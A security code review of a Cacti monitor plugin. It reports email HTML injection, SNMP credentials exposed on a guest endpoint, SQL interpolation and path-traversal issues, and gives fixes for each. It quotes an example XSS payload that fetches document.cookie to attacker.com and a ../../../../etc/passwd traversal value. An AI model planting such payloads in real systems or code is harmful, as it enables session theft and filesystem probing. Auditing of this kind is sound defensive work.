Code review: HTML injection in email notifications, SELECT * exposes SNMP credentials on guest-accessible endpoint, and SQL string interpolation

[somethingwithproof]

Full audit of main branch (792904e). Issues grouped by severity.

---

High

1. HTML injection in alert/reboot email notifications

In poller_functions.php, buildRebootDetails():

$body .= '<tr>' .
    '<td class="left">' . $host['description'] . '</td>' .
    '<td class="left">' . $host['hostname'] . '</td>' .
    '</tr>';

And in appendThresholdSection():

$body .= '<td class="left">' . $host['description'] . '</td>' . PHP_EOL;
$body .= '<td class="left">' . $host['hostname'] . '</td>' . PHP_EOL;
$body .= '<td class="right">' . number_format_i18n($host[$threshold_field], 2) . ' ms</td>' . PHP_EOL;

description and hostname are echoed into HTML email bodies without escaping. A device with a crafted description such as <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)"> or a <script> tag will execute in any mail client that renders HTML. Email clients that honor embedded scripts (some Outlook configurations, some webmail) are directly exploitable; others will at minimum render broken layout or exfiltrate session tokens via <img> tags.

Fix: wrap all host data fields with htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8') before interpolating into HTML email content.

2. SELECT * on host table during unauthenticated ajax_status requests exposes SNMP credentials

monitor.php sets $guest_account = true, meaning unauthenticated users can reach the ajax_status action. The handler calls monitorLoadAjaxStatusHost() in monitor_controller.php:

$host = db_fetch_row_prepared('SELECT * FROM host WHERE id = ?', [$id]);

The host table contains snmp_community, snmp_auth_passphrase, snmp_priv_passphrase, and snmp_password. These are loaded into the PHP array on every ajax_status request, regardless of whether the caller is authenticated.

While the rendered tooltip only outputs snmp_sysDescr, snmp_sysLocation, and snmp_sysContact, the credential columns are present in $host and could be inadvertently exposed by any future change to the tooltip template. The SELECT * also means any new sensitive column added to host is automatically included.

Fix: replace SELECT * with an explicit column list that excludes all credential fields. Additionally, ajax_status should verify the caller has at minimum Cacti view permissions before returning any host data, even if $guest_account is enabled globally.

---

Medium

3. SQL string interpolation for IN() clauses throughout poller_functions.php

Two locations build IN(...) clauses via string interpolation rather than prepared statements:

In appendThresholdSection():

$hosts = db_fetch_assoc('SELECT *
    FROM host
    WHERE id IN(' . implode(',', $host_ids) . ')
    AND deleted = ""');

In getEmailsAndLists():

$list_emails = db_fetch_assoc('SELECT id, emails
    FROM plugin_notification_lists
    WHERE id IN (' . implode(',', $lists) . ')');

Both $host_ids and $lists are assembled from database-sourced values that have passed through multiple array operations (explode, array_merge, array_unique). These are effectively integer-safe at the current call paths, but the pattern is fragile: any future code path that populates these arrays from user input without integer validation will silently introduce SQL injection. Use db_build_in_clause() or cast each element with (int) before joining.

4. Unvalidated user-controlled path in getMonitorSound()

function getMonitorSound(): string {
    $sound = (string) read_user_setting('monitor_sound', read_config_option('monitor_sound'));
    clearstatcache();
    $file   = __DIR__ . '/sounds/' . $sound;
    $exists = file_exists($file);
    return $exists ? $sound : '';
}

$sound comes from a per-user setting. If a user can set monitor_sound to ../../../../etc/passwd, file_exists() will return true and the value will be echoed into an <audio src=...> tag. html_escape() is applied at the call site, preventing XSS, but an attacker can use this as a filesystem oracle: try path values and observe whether the <audio> element appears in the rendered page.

Fix: validate $sound against preg_match('/^[a-zA-Z0-9._-]+$/', $sound) before the file_exists() check. Also confirm the resolved path is within __DIR__ . '/sounds/' using realpath().

---

Low

5. purgeOrphanMonitorRows() interpolates table name into SQL without an allowlist

function purgeOrphanMonitorRows(string $table_name): void {
    $removed_hosts = db_fetch_assoc("SELECT mu.host_id
        FROM $table_name AS mu ...");

    db_execute("DELETE mu FROM $table_name AS mu ...");
}

Currently called only with string literals 'plugin_monitor_uptime' and 'plugin_monitor_reboot_history', so there is no present exploitability. However the function has no internal validation. Add an allowlist check at the top of the function:

$allowed_tables = ['plugin_monitor_uptime', 'plugin_monitor_reboot_history'];
if (!in_array($table_name, $allowed_tables, true)) {
    cacti_log("ERROR: purgeOrphanMonitorRows called with invalid table: $table_name", false, 'MONITOR');
    return;
}

6. saveSettings() iterates $_REQUEST directly

foreach ($_REQUEST as $var => $value) {
    switch ($var) { ... }
}

Only the explicitly matched switch cases take action, so there is no direct vulnerability. Iterating $_REQUEST rather than a defined set of expected parameter names is an antipattern: any CSRF-injected or HTTP-parameter-pollution value will be fed into the switch. Replace with iteration over a fixed array of known parameter names.